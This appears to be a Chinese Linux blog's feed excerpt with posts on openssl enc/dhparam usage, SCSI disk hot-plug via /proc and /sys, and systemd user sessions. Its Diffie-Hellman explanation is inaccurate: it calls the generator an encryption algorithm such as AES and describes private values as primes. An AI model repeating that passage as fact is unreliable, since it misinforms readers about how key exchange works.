&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;openssl-commands&#x2F;openssl-enc-encrypt-decrypt-flow.gif&quot; alt=&quot;&quot; &#x2F;&gt;&lt;a href=&quot;e:%5Conedrive%5Cdocs%5Cblog_imgs%5C733013-20170703154059315-740270087.png&quot;&gt;e:\onedrive\docs\blog_imgs\733013-20170703154059315-740270087.png&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;示例：&lt;&#x2F;p&gt;
&lt;p&gt;以加密&#x2F;etc&#x2F;fstab的备份文件&#x2F;tmp&#x2F;test.txt为例。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;(1).首先测试openssl enc的编码功能。由于未指定密码选项”-k”或”-pass”，所以仅仅只进行编码而不进行加密，因此也不会提示输入密码。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi tmp]# openssl enc -a -in test.txt -out test_base64.txt

[root@xuexi tmp]# cat test_base64.txt
CiMKIyAvZXRjL2ZzdGFiCiMgQ3JlYXRlZCBieSBhbmFjb25kYSBvbiBUaHUgTWF5
IDExIDA0OjE3OjQ0IDIwMTcKIwojIEFjY2Vzc2libGUgZmlsZXN5c3RlbXMsIGJ5
IHJlZmVyZW5jZSwgYXJlIG1haW50YWluZWQgdW5kZXIgJy9kZXYvZGlzaycKIyBT
ZWUgbWFuIHBhZ2VzIGZzdGFiKDUpLCBmaW5kZnMoOCksIG1vdW50KDgpIGFuZC9v
ciBibGtpZCg4KSBmb3IgbW9yZSBpbmZvCiMKVVVJRD1iMmE3MGZhZi1hZWE0LTRk
OGUtOGJlOC1jNzEwOWFjOWM4YjggLyAgICAgICAgICAgICAgICAgICAgICAgeGZz
ICAgICBkZWZhdWx0cyAgICAgICAgMCAwClVVSUQ9MzY3ZDZhNzctMDMzYi00MDM3
LWJiY2ItNDE2NzA1ZWFkMDk1IC9ib290ICAgICAgICAgICAgICAgICAgIHhmcyAg
ICAgZGVmYXVsdHMgICAgICAgIDAgMApVVUlEPWQ1MDUxMTNjLWRhYTYtNGMxNy04
YjAzLWIzNTUxY2VkMjMwNSBzd2FwICAgICAgICAgICAgICAgICAgICBzd2FwICAg
IGRlZmF1bHRzICAgICAgICAwIDAK
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;再以base64格式进行解码。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi tmp]# openssl enc -a -d -in test_base64.txt

#
# &amp;#x2F;etc&amp;#x2F;fstab
# Created by anaconda on Thu May 11 04:17:44 2017
#
# Accessible filesystems, by reference, are maintained under &amp;#x27;&amp;#x2F;dev&amp;#x2F;disk&amp;#x27;
# See man pages fstab(5), findfs(8), mount(8) and&amp;#x2F;or blkid(8) for more info
#
UUID=&amp;lt;UUID_VALUE&amp;gt; &amp;#x2F;        xfs  defaults  0 0
UUID=&amp;lt;UUID_VALUE&amp;gt; &amp;#x2F;boot    xfs  defaults  0 0
UUID=&amp;lt;UUID_VALUE&amp;gt; swap     swap defaults  0 0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;实际上，上述编码和解码的过程严格地说也是对称加密和解密，因为&lt;code&gt;openssl enc&lt;&#x2F;code&gt;默认会带上加密选项”-e”，只不过因为没有指定输入密码选项，使用的加密密码为空而已，且单向加密算法使用的也是默认值。解密时也一样。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;(2).测试使用des3对称加密算法加密test.txt文件。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi tmp]# openssl enc -a -des3 -in test.txt -out test.1 -pass pass:123456 -md md5
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;加密后，查看加密后文件test.1的结果。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi tmp]# cat test.1
U2FsdGVkX1+c&amp;#x2F;d4NsXnY6Pd7rcZjGSsMRJWQOP0s5sxH6aLE5iCYjKEAbGac&amp;#x2F;&amp;#x2F;iR
wkUUh6a57OpUA3+OOCKB4z+IxBcKo67BUDGR9vYeCfkobH9F+mSfVzZbXBrJmxwf
921tJ+8K+yKB6DjJfufpW+DWXmH8MFyvK60wnYHsfUQOp81EvaUtEfqEKIS8hgg7
4NTOyww+&amp;#x2F;VMDdc2wmkf08XNQUPlVtLaSx3vuBisxRdu8raiKWGGOB7qCwELCxDqu
NaRCIh0VjjffGohAOMMsAQ2kFCDUKx0Z4Df5fvifhPXoHfsj2lI216BPG5Cy88K2
KV78DoBm4pnMAymo&amp;#x2F;HRRF95LjvWYZIN88hIVN67u2j9zqSGeuyJakMyDVhYYmrHl
sMr2YTbTwus2DiO6qAzt&amp;#x2F;0a9nocTVKfGR81Xsh0a0ZudjtrMl5H36YJawpldvUCa
DzXPsbpQrp0VGi2HvJ4EVKKEx2uh8XYWmJ4ytj1s1wtCR6wQhmERtInGwULWTyI+
agXStSB5XzsvAJRJvexsaNycj5lAoQ8O6YXEj7B0inB7nBQTFbwkXyvJqXpr1179
i67leYc59OvlhRMA+GLW4g&amp;#x2F;Mg5dN5SBmgt1ChOJs4887zAUyLYrLvR4zDK6IQN&amp;#x2F;M
P6F15c9V+m9pw2t32sUQQmYrYqOV&amp;#x2F;AQf0t0EwvA0Myjmfqtvmp555Q==
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;解密文件test.1。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi tmp]# openssl enc -a -des3 -d -in test.1 -out test.2 -pass pass:123456 -md md5

[root@xuexi tmp]# cat test.2

#
# &amp;#x2F;etc&amp;#x2F;fstab
# Created by anaconda on Thu May 11 04:17:44 2017
#
# Accessible filesystems, by reference, are maintained under &amp;#x27;&amp;#x2F;dev&amp;#x2F;disk&amp;#x27;
# See man pages fstab(5), findfs(8), mount(8) and&amp;#x2F;or blkid(8) for more info
#
UUID=&amp;lt;UUID_VALUE&amp;gt; &amp;#x2F;      xfs     defaults   0 0
UUID=&amp;lt;UUID_VALUE&amp;gt; &amp;#x2F;boot  xfs     defaults   0 0
UUID=&amp;lt;UUID_VALUE&amp;gt; swap   swap    defaults   0 0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;(3).加密时带上点盐salt。其实不写时默认就已经加入了，只不过是加入随机盐值。使用-S可以指定明确要使用的盐的值。但是盐的值只能是16进制范围内字符的组合，即&lt;&#x2F;strong&gt;**&lt;code&gt;0-9a-fA-F&lt;&#x2F;code&gt;**&lt;strong&gt;的任意一个或多个组合。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi tmp]# openssl enc -a -des3 -S &amp;#x27;Fabc&amp;#x27; -in test.txt -out test.1 -pass pass:123456 -md md5
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;解密。解密时不用指定salt值，即使指定了也不会影响解密结果。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi tmp]# openssl enc -a -des3 -d -in test.1 -pass pass:123456 -md md5

#
# &amp;#x2F;etc&amp;#x2F;fstab
# Created by anaconda on Thu May 11 04:17:44 2017
#
# Accessible filesystems, by reference, are maintained under &amp;#x27;&amp;#x2F;dev&amp;#x2F;disk&amp;#x27;
# See man pages fstab(5), findfs(8), mount(8) and&amp;#x2F;or blkid(8) for more info
#
UUID=&amp;lt;UUID_VALUE&amp;gt; &amp;#x2F;        xfs     defaults   0 0
UUID=&amp;lt;UUID_VALUE&amp;gt; &amp;#x2F;boot    xfs     defaults   0 0
UUID=&amp;lt;UUID_VALUE&amp;gt; swap     swap    defaults   0 0

[root@xuexi tmp]# openssl enc -a -des3 -d -S &amp;#x27;Fabcxdasd&amp;#x27; -in test.1 -pass pass:123456 -md md5

#
# &amp;#x2F;etc&amp;#x2F;fstab
# Created by anaconda on Thu May 11 04:17:44 2017
#
# Accessible filesystems, by reference, are maintained under &amp;#x27;&amp;#x2F;dev&amp;#x2F;disk&amp;#x27;
# See man pages fstab(5), findfs(8), mount(8) and&amp;#x2F;or blkid(8) for more info
#
UUID=&amp;lt;UUID_VALUE&amp;gt; &amp;#x2F;      xfs     defaults   0 0
UUID=&amp;lt;UUID_VALUE&amp;gt; &amp;#x2F;boot  xfs     defaults   0 0
UUID=&amp;lt;UUID_VALUE&amp;gt; swap   swap    defaults   0 0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;(4).在测试下”-p”和”-P”选项的输出功能。小写字母p不仅输出密钥算法结果，还输出加解密的内容，而大写字母P则只输出密钥算法结果。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;加密时的情况。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi tmp]# openssl enc -a -des3 -S &amp;#x27;Fabc&amp;#x27; -in test.txt -out test.1 -pass pass:123456 -md md5 -p
salt=FABC000000000000
key=885FC58E6C822AEFC8032B4B98FA0355F8482BD654739F3D
iv =5128FDED01EE1499
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中key就是单向加密明文密码后得到的对称密钥，iv是密码运算时使用的向量值。&lt;&#x2F;p&gt;
&lt;p&gt;再看解密时的情况，此处加上了salt。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi tmp]# openssl enc -a -des3 -d -S &amp;#x27;Fabc&amp;#x27; -in test.1 -pass pass:123456 -md md5 -P
salt=FABC000000000000
key=885FC58E6C822AEFC8032B4B98FA0355F8482BD654739F3D
iv =5128FDED01EE1499
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;若解密时不指定salt，或者随意指定salt，结果如下。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi tmp]# openssl enc -a -des3 -d -in test.1 -pass pass:123456 -md md5 -P
salt=FABC000000000000
key=885FC58E6C822AEFC8032B4B98FA0355F8482BD654739F3D
iv =5128FDED01EE1499
[root@xuexi tmp]# openssl enc -a -des3 -S &amp;#x27;FabM&amp;#x27; -d -in test.1 -pass pass:123456 -md md5 -P
salt=FABC000000000000
key=885FC58E6C822AEFC8032B4B98FA0355F8482BD654739F3D
iv =5128FDED01EE1499
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可见，解密时，只要指定和加密时相同编码格式和单向加密算法，密钥的结果就是一样的，且解密时明确指定salt是无意义的，因为它可以读取到加密时使用的salt。&lt;&#x2F;p&gt;
&lt;p&gt;甚至，解密时指定不同的对称加密算法，密钥结果也是一样的。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi tmp]# openssl enc -a -desx -d -in test.1 -pass pass:123456 -md md5 -p
salt=FABC000000000000
key=885FC58E6C822AEFC8032B4B98FA0355F8482BD654739F3D
iv =5128FDED01EE1499
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;由此，能推理出对称加密时使用的对称密钥和对称算法是毫无关系的。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;openssl-dhparam-mi-yao-jiao-huan&quot;&gt;openssl dhparam(密钥交换)&lt;&#x2F;h2&gt;
&lt;p&gt;openssl dhparam用于生成和管理dh文件。dh(Diffie-Hellman)是著名的密钥交换协议，或称为密钥协商协议，它可以保证通信双方安全地交换密钥。但注意，它不是加密算法，所以不提供加密功能，仅仅只是保护密钥交换的过程。在openvpn中就使用了该交换协议。关于dh算法的整个过程，见下文。&lt;&#x2F;p&gt;
&lt;p&gt;openssl dhparam命令集合了老版本的&lt;code&gt;openssl dh&lt;&#x2F;code&gt;和&lt;code&gt;openssl gendh&lt;&#x2F;code&gt;，后两者可能已经失效了，即使存在也仅表示未来另有用途。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;openssl dhparam [-in filename] [-out filename] [-dsaparam]
                [-noout] [-text] [-rand file(s)] [numbits]
选项说明：
-in filename：从filename文件中读取密钥交换协议参数。
-out filename：输出密钥交换协议参数到filename文件。
-dsaparam：指定此选项将使用dsa交换协议替代dh交换协议。
           虽然生成速度更快，但更不安全。
-noout：禁止输出任何信息。
-text：以文本格式输出dh协议。
-rand：指定随机数种子文件。
numbits：指定生成的长度。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意，dh协议文件生成速度随长度增长而急剧增长，使用随机数种子可以加快生成速度。&lt;&#x2F;p&gt;
&lt;p&gt;例如：生成1024长度的交换协议文件，其消耗的时间2秒不到。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi tmp]# time openssl dhparam -out dh.pem 1024

Generating DH parameters, 1024 bit long safe prime, generator 2
This is going to take a long time

real    0m1.762s
user    0m1.608s
sys     0m0.017s
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;但生成长度2048的交换协议文件用了4分多钟，可见长度增长会导致协议生成的时间急剧增长。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi ~]# time openssl dhparam -out dh.pem 2048

    .........
    .........
real    4m36.606s
user    4m14.404s
sys     0m0.538s
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;而使用了64位随机数种子的同样命令只需50秒钟。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi tmp]# time openssl dhparam -rand rand.seed -out dh.pem 2048

    .........
    .........
real    0m50.264s
user    0m46.039s
sys     0m0.104s
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;openssl命令实现的是各种算法和加密功能，它的cpu的使用率会非常高，再结合dhparam，可以使得openssl dhparam作为一个不错的cpu压力测试工具，并且可以长时间飙高cpu使用率。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;dhmi-yao-xie-shang-guo-cheng&quot;&gt;DH密钥协商过程&lt;&#x2F;h3&gt;
&lt;p&gt;密钥交换协议(DH)的大概过程是这样的(了解即可，可网上搜索完整详细的过程)：&lt;&#x2F;p&gt;
&lt;p&gt;(1).双方协商一个较大的质数并共享，这个质数是种子数。&lt;&#x2F;p&gt;
&lt;p&gt;(2).双方都协商好一个加密生成器(一般是AES)。&lt;&#x2F;p&gt;
&lt;p&gt;(3).双方各自提出另一个质数，这次双方提出的质数是互相保密的。这个质数被认为是私钥(不是非对称加密的私钥)。&lt;&#x2F;p&gt;
&lt;p&gt;(4).双方使用自己的私钥(即各自保密的质数)、加密生成器以及种子数(即共享的质数)派生出一个公钥(由上面的私钥派生而来，不是非对称加密的公钥)。&lt;&#x2F;p&gt;
&lt;p&gt;(5).双方交换派生出的公钥。&lt;&#x2F;p&gt;
&lt;p&gt;(6).接收方使用自己的私钥(各自保密的质数)、种子数(共享的质数)以及接收到的对方公钥计算出共享密钥(session key)。尽管双方的session key是使用对方的公钥以及自己的私钥计算的，但因为使用的算法，能保证双方计算出的session key相同。&lt;&#x2F;p&gt;
&lt;p&gt;(7).这个session key将用于加密后续通信。例如，ssh连接过程中，使用host key对session key进行签名，然后验证指纹来完成主机认证的过程(见&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.junmajinlong.com&#x2F;linux&#x2F;ssh#host_auth&quot;&gt;https:&#x2F;&#x2F;www.junmajinlong.com&#x2F;linux&#x2F;ssh#host_auth&lt;&#x2F;a&gt;)。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Linux上磁盘热插拔</title>
        <published>2024-12-21T00:00:00+00:00</published>
        <updated>2024-12-21T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/linux上磁盘热插拔/"/>
        <id>https://vercel.juzhong.asia/obsidian/linux上磁盘热插拔/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/linux上磁盘热插拔/">&lt;h1 id=&quot;linuxshang-ci-pan-re-cha-ba&quot;&gt;Linux上磁盘热插拔&lt;&#x2F;h1&gt;
&lt;p&gt;首先获取scsi设备的信息。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@server2 ~]# lsscsi
[2:0:0:0]    disk    VMware,  VMware Virtual S 1.0   &amp;#x2F;dev&amp;#x2F;sda
[4:0:0:0]    cd&amp;#x2F;dvd  NECVMWar VMware SATA CD01 1.00  &amp;#x2F;dev&amp;#x2F;sr0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;有些操作系统没有lsscsi命令，则可以使用下面的方法获取scsi设备信息。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@server2 ~]# ll &amp;#x2F;sys&amp;#x2F;bus&amp;#x2F;scsi&amp;#x2F;drivers&amp;#x2F;sd&amp;#x2F;

total 0
lrwxrwxrwx 1 root root    0 Jun 22 17:29 2:0:0:0 -&amp;gt; ..&amp;#x2F;..&amp;#x2F;..&amp;#x2F;..&amp;#x2F;devices&amp;#x2F;pci0000:00&amp;#x2F;0000:00:10.0&amp;#x2F;host2&amp;#x2F;target2:0:0&amp;#x2F;2:0:0:0
--w------- 1 root root 4096 Jun 22 17:29 bind
--w------- 1 root root 4096 Jun 22  2017 uevent
--w------- 1 root root 4096 Jun 22 17:29 unbind
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;[root@server2 ~]# ll &amp;#x2F;sys&amp;#x2F;bus&amp;#x2F;scsi&amp;#x2F;drivers&amp;#x2F;sd&amp;#x2F;2\:0\:0\:0&amp;#x2F;block&amp;#x2F;

total 0
drwxr-xr-x 10 root root 0 Jun 22  2017 sda
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后查看&#x2F;proc&#x2F;scsi&#x2F;scsi文件，获取对应scsi设备的详细信息。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@server2 ~]# cat &amp;#x2F;proc&amp;#x2F;scsi&amp;#x2F;scsi

Attached devices:
Host: scsi2 Channel: 00 Id: 00 Lun: 00
  Vendor: VMware,  Model: VMware Virtual S Rev: 1.0
  Type:   Direct-Access                    ANSI  SCSI revision: 02
Host: scsi4 Channel: 00 Id: 00 Lun: 00
  Vendor: NECVMWar Model: VMware SATA CD01 Rev: 1.00
  Type:   CD-ROM                           ANSI  SCSI revision: 05
Host: scsi2 Channel: 00 Id: 01 Lun: 00
  Vendor: VMware,  Model: VMware Virtual S Rev: 1.0
  Type:   Direct-Access                    ANSI  SCSI revision: 02
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在此处，有两块直连(Direct-Access)的scsi磁盘，一块通过光驱cd-rom连接的光盘。我们只考虑scsi磁盘，所以这两块磁盘在scsi中的定位符为2:0:0:0和2:0:1:0。&lt;strong&gt;如果继续插入一块盘，那么新盘在scsi中的定位符为2:0:2:0&lt;&#x2F;strong&gt;，这个数值串非常重要。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;1-1-re-cha&quot;&gt;1.1 热插&lt;&#x2F;h2&gt;
&lt;p&gt;在向计算机中插入一块磁盘后，内核因为识别不了它所以不会产生任何事件通知，因此在&#x2F;sys目录中不会产生任何文件，任何工具也就读取不了它。重启系统肯定是可以解决的，但是Linux支持热插。&lt;&#x2F;p&gt;
&lt;p&gt;热插新盘的方式是向&#x2F;proc&#x2F;scsi&#x2F;scsi中写入新scsi设备的信息。方式如下：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;echo &amp;quot;scsi add-single-device a b c d&amp;quot; &amp;gt;&amp;#x2F;proc&amp;#x2F;scsi&amp;#x2F;scsi
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中：&lt;&#x2F;p&gt;
&lt;p&gt;a == hostadapter id (first one being 0)&lt;&#x2F;p&gt;
&lt;p&gt;b == SCSI channel on hostadapter (first one being 0)&lt;&#x2F;p&gt;
&lt;p&gt;c == ID&lt;&#x2F;p&gt;
&lt;p&gt;d == LUN (first one being 0)&lt;&#x2F;p&gt;
&lt;p&gt;例如上面的例子，应该添加如下信息：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@server2 ~]# echo &amp;quot;scsi add-single-device 2:0:2:0&amp;quot; &amp;gt;&amp;#x2F;proc&amp;#x2F;scsi&amp;#x2F;scsi
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;当然，重新扫描scsi总线也可以实现热插的功能。因为上面的例子中，scsi host id为2(即host2)，所以扫描的是host2，这样host2这个scsi上的所有设备都会被重新扫描。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@server2 ~]# echo &amp;quot;- - -&amp;quot; &amp;gt; &amp;#x2F;sys&amp;#x2F;class&amp;#x2F;scsi_host&amp;#x2F;host2&amp;#x2F;scan
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果不知道要扫描哪个host，直接使用循环全部扫描。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@xuexi ~]# for i in &amp;#x2F;sys&amp;#x2F;class&amp;#x2F;scsi_host&amp;#x2F;host*&amp;#x2F;scan;do echo &amp;quot;- - -&amp;quot; &amp;gt;$i;done
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;热插之后，fdisk -l等命令就可以识别到该磁盘了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;1-2-re-ba&quot;&gt;1.2 热拔&lt;&#x2F;h2&gt;
&lt;p&gt;热拔磁盘的方式是在&#x2F;proc&#x2F;scsi&#x2F;scsi中移除对应scsi设备的信息。方式如下：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;echo &amp;quot;scsi remove-single-device a b c d&amp;quot; &amp;gt;&amp;#x2F;proc&amp;#x2F;scsi&amp;#x2F;scsi
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;例如删除2:0:2:0这块磁盘。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@server2 ~]# echo &amp;quot;scsi remove-single-device 2 0 2 0&amp;quot; &amp;gt;&amp;#x2F;proc&amp;#x2F;scsi&amp;#x2F;scsi
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;因为要删除的设备已经存在，&#x2F;sys中已经有它完整的信息，所以也从其自身设备上进行删除。&lt;&#x2F;p&gt;
&lt;p&gt;首先查看scsi设备信息。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@server2 ~]# lsscsi
[2:0:0:0]    disk    VMware,  VMware Virtual S 1.0   &amp;#x2F;dev&amp;#x2F;sda
[2:0:1:0]    disk    VMware,  VMware Virtual S 1.0   &amp;#x2F;dev&amp;#x2F;sdb
[4:0:0:0]    cd&amp;#x2F;dvd  NECVMWar VMware SATA CD01 1.00  &amp;#x2F;dev&amp;#x2F;sr0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;例如要删除&#x2F;dev&#x2F;sdb，即2:0:1:0。先看看它的文件信息。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@server2 ~]# ls &amp;#x2F;sys&amp;#x2F;bus&amp;#x2F;scsi&amp;#x2F;drivers&amp;#x2F;sd&amp;#x2F;2\:0\:1\:0&amp;#x2F;

block&amp;#x2F;                              evt_lun_change_reported             model                               scsi_level
bsg&amp;#x2F;                                evt_media_change                    power&amp;#x2F;                              state
delete                              evt_mode_parameter_change_reported  queue_depth                         subsystem&amp;#x2F;
device_blocked                      evt_soft_threshold_reached          queue_ramp_up_period                timeout
device_busy                         generic&amp;#x2F;                            queue_type                          type
dh_state                            iocounterbits                       rescan                              uevent
driver&amp;#x2F;                             iodone_cnt                          rev                                 unpriv_sgio
eh_timeout                          ioerr_cnt                           scsi_device&amp;#x2F;                        vendor
evt_capacity_change_reported        iorequest_cnt                       scsi_disk&amp;#x2F;                          vpd_pg80
evt_inquiry_change_reported         modalias                            scsi_generic&amp;#x2F;                       vpd_pg83
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在其中有3个文件：delete、rescan和state。其中state记录了该设备是否正在运行中。而delete和rescan文件则用于删除和重新扫描该设备。&lt;&#x2F;p&gt;
&lt;p&gt;例如，删除该设备，即热拔。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@server2 ~]# echo 1 &amp;gt; &amp;#x2F;sys&amp;#x2F;bus&amp;#x2F;scsi&amp;#x2F;drivers&amp;#x2F;sd&amp;#x2F;2\:0\:1\:0&amp;#x2F;delete
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>systemd 用户session</title>
        <published>2024-12-20T00:00:00+00:00</published>
        <updated>2025-02-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/systemd-用户session/"/>
        <id>https://vercel.juzhong.asia/obsidian/systemd-用户session/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/systemd-用户session/">&lt;h1 id=&quot;systemd-yong-hu-session&quot;&gt;systemd 用户session&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;gong-zuo-yuan-li&quot;&gt;工作原理&lt;&#x2F;h2&gt;
&lt;p&gt;从 systemd 226 版本开始，&lt;code&gt;&#x2F;etc&#x2F;pam.d&#x2F;system-login&lt;&#x2F;code&gt; 默认配置中的 &lt;code&gt;pam_systemd&lt;&#x2F;code&gt; 模块会在用户首次登录的时候, 自动运行一个 &lt;code&gt;systemd --user&lt;&#x2F;code&gt; 实例。 只要用户还有会话存在，这个进程就不会退出；用户所有会话退出时，进程将会被销毁。当&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Systemd&#x2F;%E7%94%A8%E6%88%B7#%E9%9A%8F%E7%B3%BB%E7%BB%9F%E8%87%AA%E5%8A%A8%E5%90%AF%E5%8A%A8_systemd_%E7%94%A8%E6%88%B7%E5%AE%9E%E4%BE%8B&quot;&gt;#随系统自动启动 systemd 用户实例&lt;&#x2F;a&gt;启用时, 这个用户实例将在系统启动时加载，并且不会被销毁。systemd 用户实例负责管理用户服务，用户服务可以使用systemd提供的各种便捷机制来运行守护进程或自动化任务，如 socket 激活、定时器、依赖体系以及通过 cgroup 限制进程等。&lt;&#x2F;p&gt;
&lt;p&gt;和系统单元类似，用户单元可以在以下目录找到(按优先级从低到高排序）：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&#x2F;usr&#x2F;lib&#x2F;systemd&#x2F;user&#x2F;&lt;&#x2F;code&gt; 这里存放的是各个软件包安装的服务。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;~&#x2F;.local&#x2F;share&#x2F;systemd&#x2F;user&#x2F;&lt;&#x2F;code&gt; 这里存放的是HOME目录中已安装的软件包的单元。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;etc&#x2F;systemd&#x2F;user&#x2F;&lt;&#x2F;code&gt; 这里存放的是由系统管理员维护的系统范围的用户服务。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;~&#x2F;.config&#x2F;systemd&#x2F;user&#x2F;&lt;&#x2F;code&gt; 这里存放的是用户自身的服务。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;当 systemd 用户实例启动时，它会将用户个人的 &lt;code&gt;default.target&lt;&#x2F;code&gt; 带起来。其他用户单元可以通过 &lt;code&gt;systemctl --user&lt;&#x2F;code&gt; 手动管理。参考 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man.archlinux.org&#x2F;man&#x2F;systemd.special.7#%E7%94%A8%E6%88%B7%E6%9C%8D%E5%8A%A1%E7%AE%A1%E7%90%86%E5%99%A8%E7%AE%A1%E7%90%86%E7%9A%84%E5%8D%95%E5%85%83&quot;&gt;systemd.special(7) § 用户服务管理器管理的单元&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;注意：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;systemd --user&lt;&#x2F;code&gt; 实例是针对每个用户处理的，而不是针对会话。这样做的原理是用户服务处理的大部分资源，像 socket 或状态文件是针对每个用户的（存活于用户的主目录下）而不是会话。这意味着所有的用户服务是独立于会话之外运行的。最终，我们得出结论：基于会话运行的程序可能会导致用户服务中断。systemd 处理用户会话的方式是非常生硬的（pretty much in flux）。 单会话支持的进展参考 [&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mail.gnome.org&#x2F;archives&#x2F;desktop-devel-list&#x2F;2014-January&#x2F;msg00079.html&quot;&gt;1]&lt;&#x2F;a&gt; 和 [&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;lists.freedesktop.org&#x2F;archives&#x2F;systemd-devel&#x2F;2014-March&#x2F;017552.html&quot;&gt;2]&lt;&#x2F;a&gt; 。&lt;&#x2F;li&gt;
